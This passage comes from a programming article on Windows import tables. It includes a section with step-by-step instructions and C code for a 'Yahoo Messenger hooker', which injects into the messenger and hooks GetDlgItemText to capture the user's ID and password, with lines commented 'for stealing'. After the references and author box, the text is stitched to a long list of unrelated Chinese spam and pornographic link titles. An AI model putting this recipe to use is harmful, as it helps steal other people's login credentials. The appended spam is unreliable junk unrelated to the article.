    Always block the Pop-Up on your web browser and turn off the automatic installing of Active-X controls and plug-ins on your Internet Explorer. It will come to your computer inside an OLE component or small DLL plug-ins and come to life inside a process. Some time, this life is inside a import table of a special process (for instance Yahoo Messenger or MSN Messenger). It can hook all Windows control and filter the API (oh my God!) Where did the password of my e-mail go? This is one possibility of a user level rootkit [7]. It can make a root to your computer and steal your important information. The Antivirus only can scan the file image; they lost their control over the runtime process injection. Therefore, when you survey on the web be careful and always use a strong firewall filter.

    How does a Yahoo Messenger hooker work?

    I explain the practicable steps of how to write a Yahoo Messenger hooker:

    1. Obtain the Yahoo Messenger handle with its class name by using FindWindow().

      Collapse Copy Code
      HWND hWnd = FindWindow("YahooBuddyMain", NULL);
      
    2. Implement an injection to its process as similar as the previous section.
    3. Perform this injection on the import thunk of GetDlgItemText() to filter its members.
      Collapse Copy Code
      UINT GetDlgItemText( HWND hDlg,
                           int nIDDlgItem,
                           LPTSTR lpString,
                           int nMaxCount);
      
    4. Compare the dialog item ID, nIDDlgItem, with the specific ID to detect which item currently is in use. If the ID is found, hook the string with original GetDlgItemText().

      Collapse Copy Code
      CHAR pYahooID[127]; 
      CHAR pPassword[127]; 
      
      switch(nIDDlgItem)
      {
      case211: // Yahoo ID
          GetDlgItemText(hDlg, nIDDlgItem, pYahooID, 127); // for stealing
      // ...
          GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate 
      //the original
      break;
          
      case212: // Password
          GetDlgItemText(hDlg, nIDDlgItem, pPassword, 127); // for stealing 
      // ...
          GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate 
      //the original 
      break;
          
      default:
          GetDlgItemText(hDlg, nIDDlgItem, lpString, nMaxCount);// Emulate 
      //the original  
      }
      

    Figure 14 - Hooking Yahoo Messenger

    Now I believe there is no safety. Someone can steal my Yahoo ID and its password with a few piece of code. We live in an insecure world!

    7. Consequences

    The Import Table is essentially part of a Windows executable file. The knowledge of the import table performance helps us to realize how API is requested during runtime. You can redirect the import table to another executable memory inside the current process memory to prevent reverse activity with your own PE loader and also to hook the API functions. It is possible to modify the import table of a process in runtime by freezing and unfreezing the process from outside; this disaster forces us to think more concerning security equipment (like antivirus, firewall, etc.). Nevertheless, they do not have any lasting benefits with the new methods which every day appear. Moreover, this conception aids us to establish our virtual machine monitor to run the Windows executable file inside a separated environment inside Windows or Linux. Consequently, I do not need a Windows System anymore to run my Windows EXE files!

      Read more:

    1. Inject your code to a Portable Executable file, The Code Project, December 2005.
    2. Capturing Window Controls and Modifying their properties, The Code Project, February 2005.
    3. Three Ways to Inject Your Code into Another Process, Robert Kuster , The Code Project, July 2003.

      Documents:

    4. Undocumented Windows? 2000 Secrets: A Programmer's Cookbook, Sven B. Schreiber, Addison-Wesley, July 2001, ISBN 0-201-72187-2.
    5. Undocumented Functions for Microsoft? Windows? NT?/ 2000, Tomasz Nowak and others, NTInternals team, 1999-2005.

      Links:

    6. NTCore, System and Security team.
    7. Rootkit, The Online Rootkit Magazine.

    License

    This article, along with any associated source code and files, is licensed under The GNU General Public License (GPL)

    About the Author

    Ashkbiz Danehkar


    Member

    Occupation: Other
    Location: United Kingdom United Kingdom
青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲在线免费观看| 亚洲在线视频网站| 欧美精品一区在线播放| 久久精品国产精品亚洲综合| 午夜精品久久久久久久久| 亚洲欧美视频在线| 久久av老司机精品网站导航| 久久精品在线免费观看| 美国三级日本三级久久99| 欧美电影免费观看高清| 国产精品mv在线观看| 国产女主播一区二区| 在线观看不卡| 一区二区三区免费网站| 欧美有码在线视频| 欧美高清视频在线播放| 亚洲精品久久久久久久久久久久 | 亚洲人人精品| 一区二区三区久久精品| 欧美伊人久久大香线蕉综合69| 久久久av水蜜桃| 欧美精品日韩| 国产一区二区0| 99视频+国产日韩欧美| 欧美在线观看视频在线| 亚洲第一伊人| 欧美一级淫片aaaaaaa视频| 欧美二区在线播放| 国产一区香蕉久久| 一区二区三区国产精品| 久久香蕉精品| 亚洲色图在线视频| 久久综合一区| 国产一区二区三区精品久久久| 亚洲欧洲在线免费| 久久久久久久久久久久久久一区| 亚洲日本中文字幕免费在线不卡| 欧美在线免费看| 国产精品啊v在线| 亚洲三级免费观看| 久久在线免费观看| 亚洲图片在线| 亚洲毛片视频| 国产九九视频一区二区三区| 在线观看亚洲视频啊啊啊啊| 亚洲欧美电影院| 亚洲成色777777女色窝| 久久国产色av| 国产日产欧产精品推荐色 | 国产精品午夜视频| 日韩视频一区二区在线观看 | 亚洲欧美成aⅴ人在线观看| 美女脱光内衣内裤视频久久影院 | 亚洲香蕉成视频在线观看| 免费看精品久久片| 欧美亚洲在线视频| 国产精品视频久久久| 一本一本大道香蕉久在线精品| 欧美成人第一页| 久久乐国产精品| 娇妻被交换粗又大又硬视频欧美| 欧美一区二区在线播放| 亚洲一区二区三区乱码aⅴ| 欧美性生交xxxxx久久久| 亚洲网在线观看| 亚洲视频电影在线| 国产伦一区二区三区色一情| 欧美一级日韩一级| 午夜天堂精品久久久久| 国产精品影视天天线| 欧美一区三区二区在线观看| 亚洲欧美在线一区二区| 国产一区二区三区网站| 美女福利精品视频| 欧美成人在线免费观看| 99精品热6080yy久久| 亚洲免费成人| 国产精品乱人伦中文| 欧美专区第一页| 欧美综合二区| 亚洲经典视频在线观看| 亚洲精品男同| 国产精品综合久久久| 久久久国产精品一区二区中文| 久久九九电影| 99国产精品国产精品久久| 夜夜爽99久久国产综合精品女不卡| 国产精品久久久久天堂| 老司机精品福利视频| 欧美欧美在线| 美国成人毛片| 国产日韩欧美在线| 美女爽到呻吟久久久久| 欧美高清在线精品一区| 亚洲一区在线免费| 久久久国产精品亚洲一区| 亚洲毛片在线观看.| 亚洲桃色在线一区| 亚洲电影免费在线观看| 99国产精品| 韩日视频一区| 日韩午夜av电影| 激情综合视频| 亚洲午夜精品久久久久久浪潮| 影音先锋日韩资源| 亚洲视频一区在线| 有坂深雪在线一区| 亚洲天堂久久| 日韩一级黄色大片| 久久精品视频在线看| 亚洲一区日本| 欧美国产日韩视频| 美女国产精品| 国产日韩精品电影| 一区二区欧美国产| 亚洲精品日日夜夜| 久久精品国语| 久久www成人_看片免费不卡| 欧美日韩国产va另类| 欧美成人精品激情在线观看| 国产精品综合视频| 亚洲午夜未删减在线观看| 亚洲毛片av在线| 欧美国产日本高清在线| 嫩草国产精品入口| 一区二区亚洲精品国产| 午夜精品福利视频| 性欧美videos另类喷潮| 国产精品成人观看视频免费| 91久久久久久久久久久久久| 在线播放国产一区中文字幕剧情欧美| 亚洲欧美变态国产另类| 午夜欧美大片免费观看| 欧美午夜一区二区| 99在线精品免费视频九九视| 一区二区冒白浆视频| 欧美欧美天天天天操| 亚洲精品色婷婷福利天堂| 亚洲日韩欧美视频一区| 欧美国产一区二区在线观看 | 国产亚洲欧美日韩日本| 亚洲专区国产精品| 欧美影视一区| 国产亚洲欧美一区| 久久国产精品亚洲va麻豆| 久久蜜桃精品| 黄色日韩网站| 可以看av的网站久久看| 欧美激情精品久久久久久| 亚洲黄色有码视频| 欧美激情精品久久久| 亚洲精品一二三| 亚洲一区二区欧美日韩| 国产视频亚洲精品| 久久亚洲一区二区三区四区| 久久久人成影片一区二区三区| 亚洲人成网站精品片在线观看| 亚洲精品人人| 欧美日韩中文在线| 亚洲一区二区三区精品在线观看 | 久久国产加勒比精品无码| 国产一区99| 欧美aa在线视频| 一本色道久久综合亚洲精品不卡| 午夜精品久久99蜜桃的功能介绍| 国产麻豆日韩欧美久久| 久久蜜桃资源一区二区老牛| 欧美大片免费| 亚洲专区在线| 影音先锋亚洲视频| 欧美人成免费网站| 欧美一区视频在线| 亚洲国产欧美在线| 欧美在线精品一区| 亚洲日本aⅴ片在线观看香蕉| 欧美日韩1区| 久久激情一区| 99精品国产在热久久下载| 久久久av网站| 一区二区三区免费网站| 一区在线影院| 国产精品美女久久久浪潮软件| 久久蜜桃av一区精品变态类天堂| 亚洲精品小视频| 美女脱光内衣内裤视频久久影院| 在线综合视频| 亚洲成色999久久网站| 国产精品看片你懂得| 美玉足脚交一区二区三区图片| 亚洲永久精品国产| 亚洲日韩中文字幕在线播放| 久久综合伊人77777蜜臀| 亚洲一区二区三区在线观看视频| 国内精品伊人久久久久av一坑| 欧美日韩1234| 欧美不卡激情三级在线观看| 欧美在线视频在线播放完整版免费观看 | 欧美国产日韩一区二区在线观看 | 久久精品视频一| 亚洲女性喷水在线观看一区|